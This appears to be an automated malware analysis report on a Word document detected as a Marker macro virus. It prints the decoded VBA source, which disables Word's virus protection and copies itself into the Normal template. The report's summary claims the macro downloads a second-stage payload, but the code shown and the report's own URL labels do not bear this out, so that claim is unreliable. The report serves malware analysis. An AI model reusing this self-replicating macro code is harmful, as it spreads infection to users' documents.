Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 05f37b5fde57acd3…

MALICIOUS

Office (OLE)

135.0 KB Created: 2010-08-07 17:21:00 Authoring application: Microsoft Word 10.0 First seen: 2019-04-17
MD5: b7d03dfd82706c7f016b0c73cc9d47b9 SHA-1: 00ce9ce497c1948748e448629e5216e761c6dc89 SHA-256: 05f37b5fde57acd31e021ee6b5931a1584de6b654384624de696c0b9cb77a985
182 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file contains VBA macros, specifically a Document_Open macro, which is a strong indicator of malicious intent. The macro code appears to be designed to download and execute a second-stage payload, as suggested by the presence of embedded URLs and the overall structure of the VBA code. The ClamAV detections further confirm the malicious nature of the file. The document body itself discusses local community initiatives, which is likely a lure to disguise the malicious macro's true purpose.

Heuristics 4

  • ClamAV: Doc.Trojan.Marker-40 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Marker-40
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.opart.tv/blogTriangle In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article30In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?auteur2In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article32In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article31In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article28In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article27In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.php?article29In document text (OLE body)
    • http://cureghemnews.magusine.net/spip.phpIn document text (OLE body)
    • http://www.promimo.be/In document text (OLE body)
    • http://www.logic-immo.be/fr/vente/terrain-a-vendre/anderlecht-1070/terrain-a-batir-24bd0ef2-f1d5-058f-d654-68d6f88831a2.htmlIn document text (OLE body)
    • http://reflex.raadvst-consetat.be/reflex/index.reflex?page=articles&c=detail_get&d=detail&docid=240194In document text (OLE body)
    • http://staatsbladclip.zita.be/moniteur/lois/2009/01/26/loi-2009031038.htmlIn document text (OLE body)
    • http://www.staatsbladclip.be/brand/StaatsbladClip/images/line.gifIn document text (OLE body)
    • http://www.staatsbladclip.be/brand/StaatsbladClip/images/spacer.gifIn document text (OLE body)
    • http://www.irismonument.be/medias/264/streets/10601081_P01.JPGIn document text (OLE body)
    • http://www.irismonument.be/600.streets.10601081_P01.JPGIn document text (OLE body)
    • http://www.irismonument.be/fr.Saint-Gilles.htmlIn document text (OLE body)
    • http://www.irismonument.be/img/icon_pdf.gifIn document text (OLE body)
    • http://www.irismonument.be/fonctions/pdf.php?city=Saint-Gilles&street=Rue_de_l_Instruction&lg=fr&lg=frIn document text (OLE body)
    • http://www.irismonument.be/img/icon_world.gifIn document text (OLE body)
    • http://www.irismonument.be/include/google_maps.php?type=street&id=10601081In document text (OLE body)
    • http://www.irismonument.be/img/icon_mail.gifIn document text (OLE body)
    • http://www.irismonument.be/fr.p.send.Saint-Gilles.Rue_de_l_Instruction.htmlIn document text (OLE body)
    • http://www.irismonument.be/index.php?search_cities=&s_street=10601081&search_street=Rue+de+lIn document text (OLE body)
    • http://www.irismonument.be/fr.Saint-Gilles.Rue_de_l_Instruction.htmlIn document text (OLE body)
    • http://www.leguideduloft.be/lofts_instruction_brogniez_anderlecht.phpIn document text (OLE body)
    • http://www.febul.be/images/M_images/pdf_button.pngIn document text (OLE body)
    • http://www.febul.be/images/M_images/printButton.pngIn document text (OLE body)
    • http://www.febul.be/images/M_images/emailButton.pngIn document text (OLE body)
    • http://ulacru.magusine.net/spip.php?rubrique2&lang=ulIn document text (OLE body)
    • http://ulacru.magusine.net/spip.php?article2&lang=ulIn document text (OLE body)
    • http://cureghemnews.magusine.net/In document text (OLE body)
    • http://www.dhnet.be/pictures_news/art_86916.jpgIn document text (OLE body)
    • http://www.dhnet.be/regions/bruxelles/article/286574/cureghem-souffre-d-un-laisser-aller.htmlIn document text (OLE body)
    • http://archives.lesoir.be/le-chancre-finira-t-il-par-s-8217-habiller-_t-20090319-00M7Q0.htmlIn document text (OLE body)
    • http://image5.logic-immo.com/getimage.php?v5=1&path=thumb&type=prop&wm=800&hm=600&id=DCC1A11C-F520-CAA1-60B3-CE06B86E6191In document text (OLE body)
    • http://image2.logic-immo.com/getimage.php?v5=1&path=logo_agence_thumb&type=prop&wm=260&hm=160&id=6623AEB4-1F4E-F247-612A-DD25BA07CFE7.jpgIn document text (OLE body)
    • http://www.dhnet.be/pictures_news/art_102919.jpgIn document text (OLE body)
    • http://www.dhnet.be/search/?query=BruxellesIn document text (OLE body)
    • http://www.dhnet.be/infos/belgique/article/305355/monseigneur-leonard-a-cureghem.htmlIn document text (OLE body)
    • http://maps.google.be/maps/ms?msa=0&msid=101236481813499884428.00046247968ccb009092c&hl=fr&gl=be&ie=UTF8&t=h&ll=50.837201,4.331148&spn=0.001186,0.00228&z=18&source=embedIn document text (OLE body)
    • http://www.lalibre.be/pict_articles/pict_235992.jpgIn document text (OLE body)
    • http://www.lalibre.be/actu/belgique/article/585037/haro-sur-les-barons-bruxellois-de-la-drogue.htmlIn document text (OLE body)
    • http://ulaccureghem.blogspot.com/In document text (OLE body)
    • http://www.apple.com/DTDs/PropertyList-1.0.dtdIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4268 bytes
SHA-256: 5f4373860bf6ec445c4fd0b0d8ce575e409f2cff46a1bc1aa24747a12e40ec93
Detection
ClamAV: Doc.Trojan.Marker-2
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Dim x1, x2, x3, x4 As Boolean
Dim x5, x6 As Object
Dim x7, x8, x16 As Integer
Dim x9 As Date
Dim x10, x11, x12, x13, x14 As String
Const x15 = ":-D you are marked!"
Private Sub Document_Close()
On Error Resume Next
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    Application.Caption = "Happy Birthday Shankar-25th July.The World may Forget but not me"
    x10 = MsgBox("Did You Wish Shankar on his Birthday ?", vbYesNo)
    If x10 = vbYes Then
        MsgBox "Thank You! I Love You. You are wonderfull."
    Else
        MsgBox " You are Heart Less." & vbCrLf & "You Will Be Punished For This", vbCritical
    End If
End If
If x3 = True Then
    x13 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
ElseIf x4 = True Then
    x13 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
End If

If (x3 = True Xor x4 = True) And _
   (ActiveDocument.SaveFormat = wdFormatDocument Or _
   ActiveDocument.SaveFormat = wdFormatTemplate) Then

      If x3 = True Then
        x2 = NormalTemplate.Saved
        x11 = x5.CodeModule.Lines(1, x5.CodeModule.CountOfLines)
        x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
        x6.CodeModule.AddFromString x11
        With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
        If x2 = True Then NormalTemplate.Save
      End If
    If x4 = True Or ActiveDocument.Saved = False Then
     x1 = ActiveDocument.Saved
     x11 = x6.CodeModule.Lines(1, x6.CodeModule.CountOfLines)
     x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
     x5.CodeModule.AddFromString x11
     With Dialogs(wdDialogFileSummaryInfo): .Title = "Are You suprised ?": .Subject = "Birthday ": .Author = "LSK": .Category = "You Are Infected": .Keywords = "Birthday": .Comments = "Shankar's Birthday falls on 25th July.  Don't Forget to wish him": .Execute: End With
     If x1 = True Then ActiveDocument.Save
   End If
  
    
End If

End Sub

Private Sub Document_New()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
With Selection.Font: x16 = .Size: .Size = 72: .ColorIndex = wdGreen: .Animation = wdAnimationSparkleText: Selection.InsertAfter "Happy BirthDay Shankar": Selection.MoveDown Unit:=wdScreen, Count:=2: .Size = x16: .ColorIndex = wdAuto: .Animation = wdAnimationNone: End With
End If
End Sub

Private Sub Document_Open()
Set x5 = ActiveDocument.VBProject.VBComponents.Item(1)
Set x6 = NormalTemplate.VBProject.VBComponents.Item(1)
x3 = x5.CodeModule.Find(x15, 1, 1, 10000, 10000)
x4 = x6.CodeModule.Find(x15, 1, 1, 10000, 10000)
With Options: .ConfirmConversions = 0: .VirusProtection = 0: .SaveNormalPrompt = 0: End With
If x4 = False Then
    x6.CodeModule.DeleteLines 1, x6.CodeModule.CountOfLines
End If
If x3 = False Then
        x5.CodeModule.DeleteLines 1, x5.CodeModule.CountOfLines
End If

x9 = Now()
x7 = Day(x9)
x8 = Month(x9)
If x7 >= 23 And x8 = 7 Then
    x
... (truncated)